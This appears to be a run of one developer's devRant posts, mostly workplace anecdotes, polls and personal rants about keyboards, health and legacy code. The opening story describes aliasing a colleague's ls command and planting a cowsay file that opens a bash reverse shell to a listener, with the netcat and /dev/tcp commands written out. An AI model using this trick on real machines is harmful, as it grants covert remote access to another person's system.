At least 5 of my rants are gone. Just disappeared. I vaguely remember one containing trigger words, like “suicide” (because a script was literally killing its own process ID) – did Devrant go through some “woke” clean-up phase?

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

I'm finally thinking of getting back to work... What's the current trend when it comes to remote IT job offers - any websites worth mentioning?

So I get a message from my ex-colleague today, and it’s déjà vu all over again.

Apparently, the CTO at my old company went full Hulk in the office this morning, demanding to know who used the ops@ email to subscribe to something called "custom purring ASMR." If that sounds familiar, buckle up - this one’s even better.

For context, this is the same company where I once had to explain to the CFO why our tech@ email got invoiced for "panties juice, extra virgin." If you don’t remember… Yeah, I left, but the shenanigans clearly stayed. Here’s a spot-the-difference picture: https://devrant.com/rants/6213132/...

Turns out, one of the devs was testing an API integration for some niche subscription platform. Nothing new there — sandbox environments, dummy accounts, €5 test payments. Except genius over here decides to jazz it up and names the testing account: "Cat Daddy Deluxe, meow to pay." Obviously not meant for production, right?

Fast forward to yesterday (yes, Friday): the platform goes live without clearing the sandbox database. Dev’s test account? Now the default subscription for every new creator. Not only that, but every 1k subscribers it "wins" a discount for the next most popular account. What are the top 5 other popular accounts?

5. "Leather Daddy Lullabies" – soothing bedtime stories narrated by a guy in full BDSM gear.
4. "ASMR For Adult Toys" – exactly what it sounds like, but HR will still ask.
3. "Moaning Meditation Mondays" – very NSFW guided mindfulness exercises... weekly!
2. "Kinksploration 101" – a podcast exploring bizarre fetishes you wish you didn’t know about.
1. And last but not least, "Spicy Grandma Diaries" – erotic stories written and narrated by a sweet old lady from the local senior centre, apparently depicting real-life escapades from her 70s. In great detail.

Here’s the kicker. Friday, ops@ gets two discount emails. The same guy who roasted the “panties” girl the hardest, the very one who caused this mess, is now sure they’ve finally sent him more accounts to test - because clearly, those can’t be meant for production. Right?

Long story short: he spent €118 of real-life company funds, and IT is now on the hook for lifetime memberships to “Purring Dominance 101” and “Whisker Tickler Masterclass.” How satisfying is it to see the universe balance all his not-so-funny comments?

Also, I’m definitely getting them to forward me those whisker-tickler classes. No matter how good you think you are, some areas of life always have room for improvement.

Satisfying my own curiosity #4:
Who here has a weird hobby unrelated to coding?

I'd appreciate straining from discussions, ideally 1 comment per person starting with the name of the hobby or short description (it'd make counting easier).

Satisfying my own curiosity #3:
Who here dabbles in electronics?

As professional or amateur/hobbyist, doesn't matter.

I'd appreciate straining from discussions, ideally 1 comment per person starting with "I do" or "I don't" (it'd make counting easier).

Satisfying my own curiosity #2:
Who here works in the video games industry?

As anyone, including visual, audio and mocap artists, etc.

I'd appreciate straining from discussions, ideally 1 comment per person starting with "I do" or "I don't" (it'd make counting easier).

Satisfying my own curiosity #1:
Who here uses Vim/Neovim, and who doesn't?

I'd appreciate straining from discussions, ideally 1 comment per person starting with the name of your IDE (it'd make counting easier).

This is not about devRant… but it might as well be.

Imagine public forum. Everyone can read and post, everyone can comment. And there's no way to send a private message.

You use said forum for years. Whether you like it or not, you form alliances, friendships, frenemieships and engage all kinds of social contracts. There's no ro(ot)ster either, so you keep all that in your head, until one day you need a social contract formalized — exchange contact info. With Steven.

You can't just “@Steven text me, here's my phone”, that's borderline suicidal. You yearn a safe haven. A proxy that'd allow privacy. So you quickly spin up a service, let's say Discord (it wasn't Discord, but close enough), post a link, and within seconds Steven joins… He and seven other Stevens.

So you send each a unique sentence, a 2fa token so to speak, and ask them to post it on said devRant-like forum — they can delete it later after all. And a few minutes later there's eleven Stevens posting garbage faster than mods can delete, because whitespace power. But you bravely sift through that shit until the correct Steven rants “I'm blue, da-ba-dee da-ba-da”, and finally you know which Discord Steven is blue, so you can privately chat about colours.

And then Steven's 75 years old, well-reputed account gets banned on devRant for posting along other spamming Stevens. And you can't even PM administration, because devRant is a public forum without PM-ing indeed.

Dumb mistake from when I was still working:

My work laptop’s SSD went haywire, and I/O would spike every 10 minutes or so for ~50 ms. The hardware guy said he could replace the SSD right away, or I could endure it for a few weeks and get a new laptop instead. Obviously, I agreed to wait. The stutter noticeably affected screen rendering, but I didn’t notice any other issues. Little did I know that every time it happened, all input was ignored (as in: not queued). Normally it wouldn’t matter, because hitting a random ~50 ms window is hard. How-the-f×ck-ever…

A few days later — without getting into “why” — I was forced to apply a patch in production. So I opened an SSH session to prod in one terminal, spun up a dev environment in another, copied the database schema from prod to dev, and made sure to test everything. No issues, so I jumped to prod, applied the patch, restarted services, jumped back to dev, and cleaned up the now-unnecessary database. Only to discover that my “jumped back to dev” keystroke didn’t register.

I quit my job in January. I haven't worked for 6 months, I live off savings and investments and I don't really know what to do with myself except that I finally have time to finish all my pet projects and I'm really doing them one by one, which makes me feel the best I have in years.

Moneywise, I've thought about writing a book or a game, but I mostly just ride my bike or Netflix and chill and do literally nothing.

I'm almost 40 and I feel like I was 18 but very, very sleepy - all the time.

Thoughts?

Also, I asked AI and it assumed I'm a woman. I find that funny.

I have a rant. A genuine rant, not a funny story, etc.

I want a keyboard. I need one. It can cost €500, as long as it won't break in a year and fulfils all my needs. Make it a €1000, I don't care. What are my needs then? Well...

It has to be a split keyboard - two halves. But wireless in every aspect, ergonomic, with multimedia keys on its outer edges (preferably pointing outwards, not up) and a heavy metal trackball on the right outer edge (preferably upper right corner). That's a bare minimum.

On top of that it probably some magnetic scrolls for things like navigating pages, changing volume and fidgeting in general wouldn't hurt. Also I'd prefer it to snap back into a one-piece whenever I need it to lie on my knees, e.g. when I type while sitting on a coach (I have a coach PC setup, no desk, and there's a reason). Why do I need it to split then...?

I had an accident. Kind of broke my back when I was 11. It's mostly okay now after couple years of rehabilitation and many more years of careful living. Luckily the only two wheels I ride on are powered by a 105.97 hp @ 9,970 rpm engine. Still, I try to be careful so I tried tons of work hygiene techniques over the years and I found out anything over 2 hours is best done while lying flat.

Coding while lying flat has its challenges, mostly focused around screen and input. Ever since I got a VR headset half of them got solved but the other half - acquiring a suitable keyboard - it's very hard to satisfy. I tried that with a one-piece keyboard lying on my stomach. Turns out actively bending elbows quickly wears them out (hello tennis players). So a split keyboard it has to be. So far I tried 4 different ones and I had to modify the cable connecting both halves in each and every one of them so that it'd be long enough to go behind my back. The main cable itself I only had to modify once because usually there're extensions available.

Apart from cables, all of those keyboards had issues. Starting from some kind of de-syncing when keys from both halves would randomly register in a wrong order - I didn't know it's possible with a cable connected halves... I did try two generic WiFi keyboards (using one for each hand) and they unfortunately suffered from that very same issue but I was sure it wouldn't happen if the device was designed to be a one unit from the very beginning, right? And yet it in 2 of the tested devices.

Other than that, plugs disconnecting on their own forcing me to take off the headset and fiddle around, too high key travel that'd strain the wrists after a few hours, even the noise that would wake up my girlfriend sleeping in a separate room were all a common issue (I briefly had an almost completely silent WiFi mechanical keyboard from Logitech we both really liked, but it was a one-piece). Once I got a split keyboard that was "natively" WiFi but not only the two halves were still connected with a cable that turned out to be way too short for my needs, it also had a very noticeable lag despite the high price - a lag way higher than any of the cheap WiFi keyboards I owned in the past. So I sent it back. Now IDK what to do because AFAICT there are no more models available, at least where I live.

So yeah, I need a keyboard and I'll probably have to make one myself. Sorry, just had to vent.

This is kind of personal but wait for the conclusion.

I'm having bad migraines. I used to have them like 10 years ago and recently they came back. The only way to stop an attack is to lie down in a dark room for a few hours and then it's back the next day. CT scan shows nothing. My neurologist shrugged and prescribed some meds. They sometimes take the pain from 8 to 6 on a 0-10 scale, sometimes they do nothing. I stopped working on the weekends and it got better, no more migraines on Saturday morning. So I took few weeks of time off and not a single migraine until the last day.

My shrink said I'm allergic to work.

Yesterday I had a questionable pleasure of interviewing a young software engineer who (while answering one of earlier questions) used a principle of polymorphism but made a mistake. So I asked her to explain what polymorphism is.

She couldn't. When she said "let me start from the beginning" for the 3rd time I jestfully noted that if she's more used to virtual communication she can text me the answer, and she not only thought I was being serious but also thought it's a good idea, then texted me a duck emoji, a dog emoji... And got stuck again.

Obviously when we were discussing potential salary she had an answer for every question. Ridiculous answer but no communication issues whatsoever.

@dfox Please, give an ability to ban accounts to a few high ranked users?

So apparently there's a trend in non-educational games teaching kids how to handle real life crisis.

Last week I witnessed a 14 yo girl handling an anxiety attack of a grown ass person and she learned that from Ancestors: The Humankind Odyssey - https://devrant.com/rants/6229469/...

Now I hear 12 years ago there was a boy who saved his sister from a moose attack by... taunting - a skill he learned from World of Warcraft: https://nextnature.net/story/2010/...

Anyone has more stories like this?

I am amazed. I witnessed (mostly heard) a 14 year old girl calm down a young adult female suffering an anxiety attack before I managed to push through people on the tram. She told her to close her eyes, breath, tell her what she smells, then open her eyes, name first thing that she sees, then look left, name first thing, etc.

This is called sensory grounding and it works. And yeah, what she did was pretty awesome but this isn't what amazed me the most. I asked where she learned that and she said "from a game about apes". And I knew exactly which game she meant. There's a title called Ancestors: The Humankind Odyssey and among many interesting mechanics there's one that puts the player in a state of anxiety when they venture into an unknown territory. The way to win that part is by analyzing surroundings by vision, hearing and the sense of smell before a panic countdown goes to zero. It's called "conquering your fear". Holly fuck, I played that and I didn't connect the dots. Are games nowadays teaching kids how to handle real life crisis? Where were those games when I was a kid??

So today our CFO stepped into IT and angrily proclaimed someone using tech@ e-mail and fake name is defrauding company funds buying themselves... "used female lingerie with extra virgin juice" (sic!).

I work for an IPSP, we handle finance for commercial services (think PayPal but smaller). One of our clients is a big platform where girls can sell items like bath water, used socks and more. CFO demanded our admins found out who and when connected to that website, what URLs and so on.

As mentioned, said platform is pretty big, hence, from time to time we help them with their service when they ask us to, that's why we have a tech@ account. Last month there was a minor issue with one of the banks, someone fixed it and, as per usual, made a small payment of €1 topping up the account wallet to make sure everything works. It was an intern whose will to live is still strong and unencumbered with experience so she jokingly wrote "panties juice, extra virgin" in the payment note. What she *didn't know*, however, is that admins on that platform used the very same account to test new billing system they've implemented and our CFO received an invoice.

Just a friendly reminder to fellow developers to take care of yourself.

If your system is constantly pumping out cortisol, even when threats are minor, it gets desensitized to the stress signals. We used to react to cortisol with the fight-or-flight response when our lives were in real danger. Nowadays it's produced when you disagree with your coworker or there's a deadline coming up. So your cortisol rises but you neither fight nor run. The result is a stress response that isn't functioning properly. This is when burnout symptoms develop. Same goes for testosterone, dopamine and some other hormones and neurotransmitters. Read up and start proper work hygiene that includes workouts, fresh air activities and manual hobbies.

Your back, wrists and eyes aren't the only things you have to watch out for when coding long hours. Cheers and have a fun weekend!

!rant

Linux just made my day. Everybody knows how Windows won't let you shutdown your hardware until it updates, right? So last night I forgot I was upgrading Manjaro in a background terminal (full distro update, tons of packages) and hibernated my rig, plugged it off, took it to a different location. Today I hooked it up - different network, IP, etc. - it woke up, finished compiling whatever it ended up on then downloaded, compiled and installed everything else, said "Thank you very much!" and dropped the mic. Someone tell me this isn't pure awesomeness! 😂

It asked again for root password but other than that... shrugged off 12 hours difference like a boss!

I have ME/CFS after Covid19. My manager says its an excuse. Can't wait for them to fire me because of my performance drop. Now I only do about 100% of my work instead of 140%.

We had an obligatory training today about security of remote access to company resources.

We sat for an hour listening to some outdated advice regarding passwords and preparing a work environment at home. Finally the instructor said his goodbyes and left. The rest of us stayed in the call to pass some actual recommendations.

Then we received a join request from a waiting lobby. Everyone muted. I let the guy in. For the next 8 minutes we watched the unaware instructor eat his breakfast and sign some documents stamped with a logotype of our competition.

Then I cleared my throat very loudly. He will have to print some of those documents again.

It's 5 AM and I don't want to shit on anybody's party but trust me when I say most of you here complaining about legacy code don't know the meaning of the word.

As someone who maintained a PHP4 codebase with an average file length of 3000+ lines for almost 4 years, I feel you, I feel your pain and your helplessness. But I've seen it all and I've done it all and unless you've witnessed your IDE struggle to highlight the syntax, unless you had to make regular changes in a test-less SVN's working copy that **is** the production and unless you are the reason that working copy exists because you've had enough of `new_2_old_final_newest.php` naming scheme, you do not know legacy. If you still don't believe me bare in mind I said "is" as in: "this system is still in production".

But also bare hope. Because as much grief as it cost me and countless before me, today of all days, without a warning, it got green lit for userbase migration to a newer platform. And if this 20 years of generous custom features and per client implemented services can be shut down even though it brings more profit than all the other products combined, so can happen to any of your projects. 🙏

Unfortunately, I do mean *any*.

Last job search experience... It's fresh. I was being recruited by a girl from Aruba. During our 2nd video call she became... let's say "friendly", calling me "hun" and "sugar". Our 3rd conversation in attachment. I checked - the company is legit, she does work for them, it's not a scam. Fun fact - her full name is Jameelah but she doesn't use it at work because it's more suitable for a belly dancer than a professional IT recruiter. Her words, not mine.

Guy: - Why the hell do you keep adding new tests with "TDD" in the commit log? Is this because you're wearing this stupid TDD t-shirt!? You're only supposed to maintain this! There's nothing to develop! Nothing here will ever be test-driven!

Cprn: (turns around)

T-shirt: *Technical Debt Development*

!dev
Last week I watched a DIY video where at the end the guy dumped detergent water on the grass. I kindly commented it's a €150 fine. Their response was on the lines of "Oh yeah, Mr Proper? And what would you say if I told you I spray my whole garden with soap to get rid of weeds, huh?".

Well, you dumb fuck, I don't care what you do, I wasn't attacking you, I was being *nice* and warned you about the fucking fine that you're going to fucking pay because your channel name is your first and last name and your video shows the street and the house number but whatever.

Today I couldn't log into my YouTube account. Why was that, you might ask? Well, because the dumb fuck paid the fucking fine and assumed I was the one that ratted, so he made a video about it and his dumb fuck audience falsely reported all of my videos for child abuse and promoting terrorism.

I only upload unboxing videos that debunk scummy "deals". 🤦‍♂️

I'm struggling with a bug. It's not my bug, it's in a lib - in an assembly function commented as "this is where the magic happens". After 27 hours of trying to determine what triggers said bug my best guess is it's a relationship between the position of Mimas and the mood of my neighbour's chonker. If it's not triggered by the Saturn's moon and a pet animal... I'm out of ideas.

Now how do I break it to my PM that we have to kill a cat?

So I just realized (while rewriting some code) Python can't import stuff from a sibling directory without voodoo tricks. Seriously. In 21st century.

There was a department. Long time ago their work was somewhat complicated: background checks of businesses, websites, ToSes, assuring agreement compliance, some risk management on top. They started as small 3 people team but over the years they were hiring new employees to catch up with the growing customer base. They were still struggling. Few years back we've integrated 3rd party services to help them and, finally, their backlog was gone!

In January they complained about how much more work they have since the merger so I inquired about which process was troublesome, what was the flow, etc., and it turned out to be very... Tinder-like - the issue was the sheer number of cases:

1. open a case,
2. check results in few windows,
3. if green + green + green, move right.
4. else move left.

It was ridiculous, I wouldn't stand for that. I sat for an hour, made some ghosting scripts that followed same business logic and saved results alongside their actual decisions. Last week I compared the two and there was zero difference so I green-lit it with my boss and pushed to prod.

Oh, the happiness on their faces when they heard the news, the disbelief, the tears of joy!

And then it happened. After 4 years of being cautious not to stir the waters I did it again. Yesterday I accidentally replaced 17 people department with 3 scripts. How was I supposed to know it was *all* they were doing??

After 4 years of being cautious not to stir the waters it happened again. There was much gratefulness. Then there was much hate. Yesterday I accidentally replaced 17 people department with 3 scripts.